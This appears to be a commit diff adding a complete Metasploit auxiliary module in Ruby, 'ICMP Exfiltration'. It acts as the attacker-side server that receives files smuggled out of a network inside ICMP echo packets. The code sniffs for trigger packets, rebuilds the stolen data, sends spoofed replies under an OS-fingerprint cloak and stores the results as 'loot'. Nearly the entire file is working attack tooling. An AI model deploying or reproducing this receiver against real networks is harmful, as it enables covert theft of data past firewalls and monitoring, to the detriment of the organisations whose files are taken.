1
+ ##
2
+ # $Id$
3
+ ##
4
+
5
+ ##
6
+ # This file is part of the Metasploit Framework and may be subject to
7
+ # redistribution and commercial restrictions. Please see the Metasploit
8
+ # web site for more information on licensing and terms of use.
9
+ # http://metasploit.com/
10
+ ##
11
+
12
+ require 'msf/core'
13
+
14
+ class Metasploit3 < Msf ::Auxiliary
15
+
16
+ include Msf ::Exploit ::Remote ::Capture
17
+ include Msf ::Auxiliary ::Report
18
+
19
+ def initialize
20
+ super (
21
+ 'Name' => 'ICMP Exfiltration' ,
22
+ 'Version' => '$Revision$' ,
23
+ 'Description' => %q{
24
+ This module is designed to provide a server-side component to receive and store files
25
+ exfiltrated over ICMP.
26
+
27
+ To use this module you will need to send an initial ICMP echo request containing the
28
+ specified trigger (defaults to '^BOF:') followed by the filename being sent. All data
29
+ received from this source will automatically be added to the receive buffer until an
30
+ ICMP echo request containing a specific end command (defaults to 'EOL') is received.
31
+ } ,
32
+ 'Author' => 'Chris John Riley' ,
33
+ 'License' => MSF_LICENSE ,
34
+ 'References' =>
35
+ [
36
+ # general
37
+ [ 'URL' , 'http://blog.c22.cc' ] ,
38
+ # packetfu
39
+ [ 'URL' , 'http://code.google.com/p/packetfu/' ]
40
+ ]
41
+ )
42
+
43
+ register_options ( [
44
+ OptString . new ( 'START_TRIGGER' , [ true , 'Trigger to listen for (followed by filename)' , '^BOF:' ] ) ,
45
+ OptString . new ( 'END_TRIGGER' , [ true , 'End of File command' , '^EOF' ] ) ,
46
+ OptString . new ( 'RESPONSE' , [ true , 'Data to respond when initial trigger matches' , 'BEGIN' ] ) ,
47
+ OptString . new ( 'BPF_FILTER' , [ true , 'BFP format filter to listen for' , 'icmp' ] ) ,
48
+ OptString . new ( 'INTERFACE' , [ false , 'The name of the interface' ] ) ,
49
+ ] , self . class )
50
+
51
+ register_advanced_options ( [
52
+ OptString . new ( 'CLOAK' , [ false , 'Create the response packet using a specific OS fingerprint (windows, linux, freebsd)' , 'linux' ] ) ,
53
+ OptBool . new ( 'PROMISC' , [ false , 'Enable/Disable promiscuous mode' , false ] ) ,
54
+ ] , self . class )
55
+
56
+ deregister_options ( 'SNAPLEN' , 'FILTER' , 'PCAPFILE' , 'RHOST' , 'UDP_SECRET' , 'GATEWAY' , 'NETMASK' , 'TIMEOUT' )
57
+ end
58
+
59
+ def run
60
+ begin
61
+ @interface = datastore [ 'INTERFACE' ] || Pcap . lookupdev
62
+ @interface = get_interface_guid ( @interface )
63
+ @iface_ip = Pcap . lookupaddrs ( @interface ) [ 0 ]
64
+
65
+ @filter = datastore [ 'BPF_FILTER' ]
66
+ @eoftrigger = datastore [ 'END_TRIGGER' ]
67
+ @boftrigger = datastore [ 'START_TRIGGER' ]
68
+ @response = datastore [ 'RESPONSE' ]
69
+ @promisc = datastore [ 'PROMISC' ] || false
70
+ @cloak = datastore [ 'CLOAK' ] . downcase || 'linux'
71
+
72
+ @record = false
73
+
74
+ if @promisc
75
+ print_status ( "Warning: Promiscuous mode enabled. This may cause issues!" )
76
+ end
77
+
78
+ # start listner
79
+ icmplistener
80
+
81
+ rescue => ex
82
+ print_error ( ex . message )
83
+ ensure
84
+ storefile
85
+ print_status ( "Stopping ICMP listener on %s (%s)" % [ @interface , @iface_ip ] )
86
+ end
87
+ end
88
+
89
+ def icmplistener
90
+ # start icmp listener
91
+
92
+ print_good ( "ICMP Listener started on %s (%s). Monitoring for trigger packet containing %s" % [ @interface , @iface_ip , @boftrigger ] )
93
+ cap = PacketFu ::Capture . new ( :iface => @interface , :start => true , :filter => @filter , :promisc => @promisc )
94
+ loop {
95
+ cap . stream . each do |pkt |
96
+ packet = PacketFu ::Packet . parse ( pkt )
97
+ data = packet . payload [ 4 ..-1 ]
98
+
99
+ if packet . is_icmp? and data =~ /#{ @boftrigger } /
100
+
101
+ print_status ( "#{ Time . now } : SRC:%s ICMP (type %d code %d) DST:%s" % [ packet . ip_saddr , packet . icmp_type , packet . icmp_code , packet . ip_daddr ] )
102
+
103
+ # detect and warn if system is responding to ICMP echo requests
104
+ # suggested fixes:
105
+ #
106
+ # (linux) echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
107
+ # (Windows) netsh firewall set icmpsetting 8 disable
108
+ # (Windows cont.) netsh firewall set opmode mode = ENABLE
109
+
110
+ if packet . icmp_type == 0 and packet . icmp_code == 0 and packet . ip_saddr == @iface_ip
111
+ raise RuntimeError , "Dectected ICMP echo response. Disable OS ICMP handling!"
112
+ end
113
+
114
+ if @record
115
+ print_error ( "New file started without saving old data" )
116
+ storefile
117
+ end
118
+
119
+ @p_icmp = packet
120
+
121
+ # begin recording stream
122
+ @record = true
123
+ @record_host = packet . ip_saddr
124
+ @record_data = ''
125
+ @filename = data [ ( @boftrigger . length -1 ) ..-1 ] . strip # set filename from icmp payload
126
+
127
+ print_good ( "Beginning capture of %s data" % @filename )
128
+
129
+ # create response packet icmp_pkt
130
+ icmp_packet
131
+
132
+ if not @icmp_response
133
+ raise RuntimeError , "Could not build ICMP resonse"
134
+ else
135
+ # send response packet icmp_pkt
136
+ send_icmp
137
+ end
138
+ break
139
+
140
+ elsif packet . is_icmp? and @record and @record_host == packet . ip_saddr
141
+ # check for EOF marker, if not continue recording
142
+
143
+ if data =~ /#{ @eoftrigger } /
144
+ print_status ( "%d bytes of data recevied in total" % @record_data . length )
145
+ print_good ( "End of File received. Saving %s to loot" % @filename )
146
+ storefile
147
+ @p_icmp = packet
148
+
149
+ # create response packet icmp_pkt
150
+ icmp_packet
151
+
152
+ if not @icmp_response
153
+ raise RuntimeError , "Could not build ICMP resonse"
154
+ else
155
+ # send response packet icmp_pkt
156
+ send_icmp
157
+ end
158
+
159
+ # turn off recording and clear status
160
+ @record = false
161
+ @record_host = ''
162
+ @record_data = ''
163
+ else
164
+ @record_data << data . to_s ( )
165
+ print_status ( "Received %s bytes of data from %s" % [ data . length , packet . ip_saddr ] )
166
+ @p_icmp = packet
167
+
168
+ # create response packet icmp_pkt
169
+ icmp_packet
170
+
171
+ if not @icmp_response
172
+ raise RuntimeError , "Could not build ICMP resonse"
173
+ else
174
+ # send response packet icmp_pkt
175
+ send_icmp
176
+ end
177
+ end
178
+ end
179
+ end
180
+ }
181
+ end
182
+
183
+ def icmp_packet
184
+ # create icmp response
185
+
186
+ begin
187
+
188
+ @src_ip = @p_icmp . ip_daddr
189
+ @src_mac = @p_icmp . eth_daddr
190
+ @dst_ip = @p_icmp . ip_saddr
191
+ @dst_mac = @p_icmp . eth_saddr
192
+ @icmp_id = @p_icmp . payload [ 0 , 2 ]
193
+ @icmp_seq = @p_icmp . payload [ 2 , 2 ]
194
+ # create payload with matching id/seq
195
+ @resp_payload = @icmp_id + @icmp_seq + @response
196
+
197
+ icmp_pkt = PacketFu ::ICMPPacket . new ( :flavor => @cloak )
198
+ icmp_pkt . eth_saddr = @src_mac
199
+ icmp_pkt . eth_daddr = @dst_mac
200
+ icmp_pkt . icmp_type = 0
201
+ icmp_pkt . icmp_code = 0
202
+ icmp_pkt . payload = @resp_payload
203
+ icmp_pkt . ip_saddr = @src_ip
204
+ icmp_pkt . ip_daddr = @dst_ip
205
+ icmp_pkt . recalc
206
+ @icmp_response = icmp_pkt
207
+ rescue => ex
208
+ print_error ( ex . message )
209
+ end
210
+ end
211
+
212
+ def send_icmp
213
+ # send icmp response
214
+
215
+ begin
216
+ @icmp_response . to_w ( iface = @interface )
217
+ if datastore [ 'VERBOSE' ]
218
+ print_good ( "Response sent to %s containing %d bytes of data" % [ @dst_ip , @response . length ] )
219
+ end
220
+ rescue => ex
221
+ print_error ( ex . message )
222
+ end
223
+ end
224
+
225
+ def storefile
226
+ # store the file
227
+ loot = store_loot (
228
+ "icmp_exfil" ,
229
+ "text/xml" ,
230
+ @src_ip ,
231
+ @record_data ,
232
+ @filename ,
233
+ "ICMP Exfiltrated Data"
234
+ )
235
+ print_good ( "Incoming file %s saved to loot" % @filename )
236
+ print_good ( "Loot filename: %s" % loot )
237
+ end
238
+ end
0 commit comments